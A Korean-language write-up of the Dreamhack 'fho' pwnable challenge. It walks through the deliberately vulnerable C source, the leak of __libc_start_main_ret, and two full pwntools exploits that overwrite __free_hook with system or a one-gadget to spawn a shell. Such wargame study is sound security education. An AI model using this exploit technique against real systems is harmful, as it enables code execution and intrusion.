Dreamhack | fho
Dreamhack-Pwnable fho
본 문제는 Dreamhack을 통해서 풀어 보실 수 있습니다.
해답을 이해하며 생각을 해보면서 풀이 해보시길 바랍니다.
문제 내용
문제는 dreamhack.io를 들어가시면 확인할 수 있습니다.
이 문제는 Hook Overwrite 로드맵에서 내용을 이해했는지 확인차 푸는 문제입니다.
모든 보호기법이 설정되어 있는 것을 알 수 있다.
문제 풀이
Full RELRO로 인해서 Now binding, 프로그램이 실행될 때 해당 프로그램에서 사용되는 함수들의 주소를 읽어와 GOT 영역에 저장하기에, GOT Overwrite가 불가능하다.
하지만, C언어의 동적 할당과 해제를 담당하는 malloc, free, realloc는 libc.so에 구현되어 있다.
각 함수들은 실행전에 __malloc_hook, __free_hook, __realloc_hook이라는 훅 변수를 이용한다. 이 함수들 또한 libc.so에 정의되어 있지만, 쓰기 권한을 가진 bss 섹션에 존재하기에 값을 조작할 수 있다.
__malloc_hook을 system 함수로 덮고, malloc('/bin/sh') 혹은 __free_hook을 system 함수로 덮고, free('/bin/sh')을 통해 셸을 획득할 수 있다.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
char buf[0x30];
unsigned long long *addr;
unsigned long long value;
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
puts("[1] Stack buffer overflow");
printf("Buf: ");
read(0, buf, 0x100); // BOF
printf("Buf: %s\n", buf);
puts("[2] Arbitary-Address-Write");
printf("To write: ");
scanf("%llu", &addr);
printf("With: ");
scanf("%llu", &value);
printf("[%p] = %llu\n", addr, value);
*addr = value;
puts("[3] Arbitrary-Address-Free");
printf("To free: ");
scanf("%llu", &addr);
free(addr);
return 0;
}
puts("[1] Stack buffer overflow");
printf("Buf: ");
read(0, buf, 0x100); // BOF
printf("Buf: %s\n", buf);
- buf의 주소보다 더욱 큰 값을
read하기에 BOF가 가능하다.
puts("[2] Arbitary-Address-Write");
printf("To write: ");
scanf("%llu", &addr);
printf("With: ");
scanf("%llu", &value);
printf("[%p] = %llu\n", addr, value);
scanf("%llu", &addr);로 덮어쓰고자 하는 주소(__free_hook)를 입력받을 수 있고,scanf("%llu", &value); *addr = value;를 통해 입력받은 주소에 원하는 값(‘/bin/sh’)을 넣을 수 있다.
puts("[3] Arbitrary-Address-Free");
printf("To free: ");
scanf("%llu", &addr);
free(addr);
- __free_hook과 ‘/bin/sh’를 넣었으므로
free()함수가 실행된다면 셸이 획득될 것이다. 또한, 이미 모든 로직은 완성되었으므로 마지막scanf("%llu", &addr);는 어떤 값을 넣어도 괜찮다.
# read(0, buf, 0x100);
0x000055555540092a <+112>: lea rax,[rbp-0x40]
0x000055555540092e <+116>: mov edx,0x100
0x0000555555400933 <+121>: mov rsi,rax
0x0000555555400936 <+124>: mov edi,0x0
0x000055555540093b <+129>: call 0x555555400770 <read@plt>
-
빨간 네모칸 :
read(0, buf, 0x100);를 통해 AAAA를 대입한 값이 [rbp-0x40] 즉, buf의 위치가 된다. -
노란 네모칸 : 노란 네모칸 앞 8byte는 SFP, 네모칸은
__libc_start_main_ret으로 RET의 위치가 된다. gdb사용시 Backtrace를 통해__libc_start_main+xxx를 통해 알 수 있다.
buf에 0x48의 dummy 값을 넣어 출력되는 값은 __libc_start_main_ret가 되므로 해당 값을 통해 libc_base를 구한다. 이후 __free_hook을 이용하기 위해 해당 Symbol를 구하고, One-gadget을 통해 Exploit하면 된다.
Exploit
from pwn import *
p = process('./fho', env = {'LD_PRELOAD' : './libc-2.27.so'})
# p = remote('host3.dreamhack.games', 10103)
e = ELF('./fho')
libc = ELF('./libc-2.27.so')
buf = b'A'*0x48
p.sendafter('Buf: ', buf)
p.recvuntil(buf)
libc_start_main_xx = u64(p.recvline()[:-1] + b'\x00' * 2)
libc_base = libc_start_main_xx - (libc.symbols['__libc_start_main'] + 231)
binsh_offset = list(libc.search(b'/bin/sh\x00'))[0]
free_hook = libc_base + libc.symbols['__free_hook']
system = libc_base + libc.symbols["system"]
binsh = libc_base + binsh_offset
p.sendlineafter("To write: ", str(free_hook))
p.sendlineafter("With: ", str(system))
p.sendlineafter("To free: ", str(binsh))
p.interactive()
One-Gadget Exploit
from pwn import *
p = process('./fho', env = {'LD_PRELOAD' : './libc-2.27.so'}) # libc linking
libc = ELF('./libc-2.27.so')
buf = b'A'*0x48
p.sendafter('Buf: ', buf)
p.recvuntil(buf)
libc_start_main_xx = u64(p.recvline()[:-1] + b'\x00' * 2)
libc_base = libc_start_main_xx - (libc.symbols['__libc_start_main'] + 231)
free_hook = libc_base + libc.symbols['__free_hook']
one_gadget = libc_base + 0x4f432 # one gadget values
p.sendlineafter("write: ", str(free_hook))
p.sendlineafter("With: ", str(one_gadget))
p.sendlineafter("free: ", "0") # any values
p.interactive()